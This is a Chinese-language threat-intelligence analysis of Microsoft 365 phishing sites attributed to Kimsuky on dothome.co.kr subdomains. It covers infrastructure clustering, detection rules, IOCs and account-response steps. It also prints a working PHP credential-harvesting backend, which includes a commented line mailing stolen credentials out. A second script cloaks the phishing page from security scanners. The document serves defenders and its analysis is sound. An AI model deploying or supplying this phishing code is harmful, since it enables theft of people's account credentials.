Kimsuky APT 组织仿微软登录钓鱼站点关联域名基础设施研判26年10月
原创
ZM
ZM
暗镜
2026年10月29日 08:00
北京
标题已修改
去阅读
近期APT 组织 Kimsuky 使用韩国基础设施开展攻击,这批钓鱼域名均挂靠 dothome[.]co[.]kr 二级子域名上。作为长期定向开展情报窃取的APT组织,其攻击链路具备极强的持续性,社会工程+凭据钓鱼是该组织最稳定的攻击载体。和大量随机撒网的黑产钓鱼不同,Kimsuky的钓鱼基础设施生命周期通常更长,偏爱使用韩国本土虚拟主机服务商托管站点,利用共享主机的特性规避简单IP黑名单拦截。
本次研判对象为一批托管于 dothome[.]co[.]kr 的仿微软365登录站点,其中 credenciall365.dothome[.]co[.]kr 捕获到可用钓鱼页面。研判全程依托Criminal IP的被动DNS、网页快照、端口与路径探测能力,不主动访问恶意站点,避免主机环境被反溯源、触发站点销毁逻辑。 需要前置说明:仅凭网页快照、域名托管信息,只能建立基础设施关联线索,无法作为组织归属的决定性证据;同主机下的phpMyAdmin路径为服务商默认预装组件,不能直接等同于盗号数据存储后台。
一、基础设施与HTTP层技术细节
这批钓鱼域名均挂靠 dothome[.]co[.]kr 二级子域名,属于典型共享虚拟主机架构。该托管服务商的特征是:多客户共用一组后端Web节点、共用IP池、默认预装phpMyAdmin,路径常固定为 /myadmin/、/phpmyadmin/。这种架构对攻击者的优势非常明确:
- 共享IP下混杂大量正常网站,单纯IP封禁容易误杀,防守方倾向于只做域名粒度拦截;
- 服务商提供一键PHP环境,攻击者上传钓鱼页面后无需自行配置Web、数据库;
- 域名注册门槛低,子域名开通速度快,批量轮换成本极低。
对 credenciall365.dothome[.]co[.]kr 的快照报文做拆解,可以观察到几个典型伪造特征:
- HTML页面静态资源部分从微软官方CDN拉取 logo、样式文件,目的是绕过基于图片哈希、静态资源指纹的简易钓鱼检测;
- 页面表单action指向同站点后端PHP接收脚本,而非微软官方认证接口;
- 页面语言为西班牙语 Iniciar sesión,属于Kimsuky常见的多语言钓鱼模板特征,用于扩大定向投递面;
- 页面无合法微软OIDC跳转逻辑,不存在官方账号认证流程,仅前端静态表单。
抓包层面的区分要点:微软官方登录页会发起多重重定向、携带 client\_id、redirect\_uri、scope 等OAuth参数;该钓鱼页面只有一个简单POST表单,把账号密码直接提交给本地后端PHP。
完整前端HTML(去除静态资源,仅保留核心表单指纹,可用于快照匹配)
Iniciar sesión
Siguiente
指纹关键词:lang=\"es\"、Iniciar sesión、name=\"email\"、name=\"pass\"、action=\"./post.php\"。
后端接收脚本 post.php 是这类钓鱼最核心的载荷,结合同类型Kimsuky钓鱼样本,典型接收逻辑如下:
<?php // 接收POST表单数据 $user\\_email = trim($\\_POST['email'] ?? ''); $user\\_pass = trim($\\_POST['pass'] ?? ''); // 基础数据校验,只写入非空账号凭据 if (!empty($user\\_email) && !empty($user\\_pass)) { // 构造日志内容,附带时间戳 $log\\_content = sprintf( \"[%s] Email: %s | Password: %s\ \", date('Y-m-d H:i:s'), $user\\_email, $user\\_pass ); // 写入本地日志文件,LOCK\\_EX排他锁防止并发覆盖 file\\_put\\_contents(\\_\\_DIR\\_\\_ . '/cred.log', $log\\_content, FILE\\_APPEND | LOCK\\_EX); // 可选:邮件回传凭据(部分变种开启此功能) // mail(\"[email protected]\", \"New Credential Stolen\", $log\\_content); } // 提交后跳转微软真实登录页,消除受害者怀疑 header(\"Location: [https://login.microsoftonline.com/](https://login.microsoftonline.com/)\"); exit(); ?>这个逻辑非常朴素,没有加密、没有复杂C2协议,也是该组织大量凭据钓鱼模板的共性:优先落地、稳定收信,避免复杂代码引入报错被受害者察觉。
进阶变种会增加UA校验反扫描逻辑,对爬虫、安全扫描器直接返回404,只对正常浏览器返回钓鱼页面,规避被动探测:
<?php $ua = $\\_SERVER['HTTP\\_USER\\_AGENT'] ?? ''; $block\\_keywords = ['curl', 'wget', 'python', 'scanner', 'bot', 'spider']; foreach ($block\\_keywords as $word) { if (stripos($ua, $word) !== false) { http\\_response\\_code(404); exit; } } // 正常浏览器才输出钓鱼表单 include\\_once(\"login.html\"); ?>风险提示:以上代码仅用于理解攻击逻辑,在未经授权的环境部署、上传至公网属于违法行为。
二、路径探测与phpMyAdmin的研判边界
Criminal IP路径探测结果显示站点存在 /myadmin/,访问后为phpMyAdmin登录面板。这里很容易产生误判,需要厘清边界:
- /myadmin/
- 是dothome虚拟主机的默认管理路径,服务商给每个用户自动部署,不是攻击者单独上传的后门;
- 钓鱼脚本和phpMyAdmin虽然在同一个Web根目录下,但权限隔离取决于服务商配置;
- 攻击者可以利用phpMyAdmin做数据存储,但从快照、外部探测,无法确认攻击者是否登录、是否创建数据表存储凭据;
- 防守方不能把“存在phpMyAdmin”直接作为恶意判定条件,只能标记为高风险暴露组件,作为关联线索之一。
批量路径探测工具(Python3,仅HEAD请求,无主动POST提交,安全合规)
import requests
import sys
from concurrent.futures import ThreadPoolExecutor
目标域名列表
target\_domains = [
\"credenciall365.dothome.co.kr\",
\"outloomailofice.dothome.co.kr\",
\"outlooklive365.dothome.co.kr\",
\"liveoutlook365.dothome.co.kr\",
\"sistema365.dothome.co.kr\"
]
待探测路径清单
check\_paths = [\"/post.php\", \"/cred.log\", \"/myadmin/\", \"/phpmyadmin/\", \"/login.php\"]
模拟正常浏览器UA
headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\",
\"Accept-Language\": \"es-ES,es;q=0.9\"
}
def path\_scan(domain):
results = []
for path in check\_paths:
url = f\"https://{domain}{path}\"
try:
仅HEAD请求,不下载页面内容,减少流量与被封禁风险
resp = requests.head(url, headers=headers, timeout=5, allow\_redirects=False)
results.append(f\"{url} | Status: {resp.status\_code}\")
except Exception as err:
results.append(f\"{url} | Error: {str(err)}\")
return \"\
\".join(results)
if \\_name\\ == \"\\main\\_\":
多线程并发探测,提升批量域名扫描效率
with ThreadPoolExecutor(max\_workers=5) as executor:
scan\_results = executor.map(path\_scan, target\_domains)
for res in scan\_results:
print(res)
运行输出可直接导出为文本,作为取证日志存入威胁事件案卷。在实际应急中,建议在隔离的虚拟机、代理节点执行,同时做好日志留存。大量这类站点会在检测到高频扫描IP后直接下线页面。
三、关联基础设施聚类方法(Criminal IP实操思路)
单纯单域名分析价值有限,APT基础设施研判重点在于聚类,这也是这起案例的核心技术动作:
- 以 dothome[.]co[.]kr 为父域,筛选Criminal IP内风险标记为Critical、页面标题包含 Iniciar sesión / login / Microsoft 的子域名;
- 提取页面HTML指纹:表单字段名 email、pass、跳转目标 login.microsoftonline.com;
- 提取被动DNS、Web服务器指纹,把同Web节点、相同Server头的域名归为一组;
- 排除服务商自带默认页面、正常个人主页,缩小候选钓鱼集群。
快照批量指纹识别脚本(Python,用于聚类同批次钓鱼站点)
def match\_phish\_template(html\_content: str) -> bool:
核心特征集合,命中≥3项即判定为疑似钓鱼页面
indicators = [
'Iniciar sesión',
'name=\"email\"',
'name=\"pass\"',
'login.microsoftonline.com'
]
match\_cnt = sum(1 for i in indicators if i in html\_content)
return match\_cnt >= 3
if \\_name\\ == \"\\main\\_\":
import os
snapshot\_dir = \"./snapshots/\"
for fname in os.listdir(snapshot\_dir):
if fname.endswith(\".html\"):
with open(os.path.join(snapshot\_dir, fname), \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:
html = f.read()
if match\_phish\_template(html):
print(f\"[MATCH] {fname}\")
这种基于快照内容的指纹,比单纯域名关键词更难被绕过;攻击者修改域名、更换子域名,但前端表单结构和文案改动成本更高。
本次聚类得到的同批次可疑域名清单:
- outloomailofice.dothome[.]co[.]kr
- outlooklive365.dothome[.]co[.]kr
- credenciall365.dothome[.]co[.]kr
- liveoutlook365.dothome[.]co[.]kr
- sistema365.dothome[.]co[.]kr
部分域名已经返回403、404,属于APT基础设施常见的生命周期特征:投递窗口期激活,攻击完成后直接关停页面。被动情报平台的快照就是这个阶段唯一的取证源。
四、防守侧检测、拦截与应急处置技术方案
- 边界检测规则(Suricata 示例)
alert http $EXTERNAL\_NET -> $HOME\_NET (
msg:\"Suspicious Microsoft 365 phish domain (dothome subdomain)\";
flow:established,to\_server;
http.host;
content:\".dothome.co.kr\";
http.request\_body;
content:\"email\"; content:\"pass\";
threshold:type both, track by\_src, count 3, seconds 60;
sid:100001; rev:1;
)
该规则用于监测内网用户向这类子域名提交包含email、pass字段的POST请求,优先做告警,不直接阻断,避免误报。
- 日志审计检索思路(Splunk / ELK)
index=proxy dest\_domain=\"\*.dothome.co.kr\" http\_method=POST
| stats count by src\_ip,user,dest\_url
| where count>0
命中结果就是已经访问并提交表单的内部资产,后续执行账号处置。
-
账号泄露后的响应步骤
-
对命中用户强制重置Azure AD/365账号密码;
- 撤销全部刷新令牌、浏览器会话;
- 审计邮箱转发规则、收件箱规则、应用权限;
- 核查是否有新增OAuth第三方应用授权;
- 持续监控该账号后续异地登录、批量邮件外发行为。
五、SIEM导入版IOC清单(纯文本,可直接复制导入,无格式污染)
DOMAIN
credenciall365.dothome.co.kr
outloomailofice.dothome.co.kr
outlooklive365.dothome.co.kr
liveoutlook365.dothome.co.kr
sistema365.dothome.co.kr
URL
https://credenciall365.dothome.co.kr/post.php
https://credenciall365.dothome.co.kr/cred.log
https://credenciall365.dothome.co.kr/myadmin/
https://outloomailofice.dothome.co.kr/post.php
https://outlooklive365.dothome.co.kr/post.php
https://liveoutlook365.dothome.co.kr/post.php
https://sistema365.dothome.co.kr/post.php
HTTP\_CONTENT
Iniciar sesión
name=\"email\"
name=\"pass\"
action=\"./post.php\"
Location: https://login.microsoftonline.com/
PATH
/post.php
/cred.log
/myadmin/
/phpmyadmin/
/m365.php
TAGS
Threat\_Actor:Kimsuky
Campaign:Microsoft365\_Phish
Attack\_Technique:T1556.002
Hosting:South\_Korea\_Dothome\_Virtual\_Host
Template\_Language:Spanish
六、研判局限性
- 共享主机架构下,IP不具备强归属价值,IP黑名单收益很低;
- 仅凭页面、路径探测无法拿到攻击者日志文件 cred.log,无法确认数据是否被外发;
- 多语言模板+韩国托管主机属于Kimsuky特征集合,不是唯一匹配,存在其他威胁团伙复用同类模板、同服务商的可能;
- 攻击者可以随时修改表单字段名、页面文案,静态指纹会快速失效,必须配合被动情报持续监控。
总结
这一组仿微软登录钓鱼站点,是Kimsuky定向钓鱼链路里典型的轻量化基础设施。攻击者不依赖复杂恶意样本,只靠PHP表单完成凭据采集,依托韩国本土虚拟主机降低拦截概率。 从技术角度看,防守方不能只依靠域名黑名单,需要结合HTTP表单指纹、被动快照聚类、代理日志审计形成检测链。这类低复杂度钓鱼恰恰是最难防御的一类威胁:代码简单、页面仿真度高、基础设施轮换速度快,大量告警容易被淹没在日常流量里。 Criminal IP这类外部情报平台的价值,就是在站点下线之后,依然可以保留快照、路径探测记录、被动DNS,给安全团队提供回溯、聚类、取证的基础。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论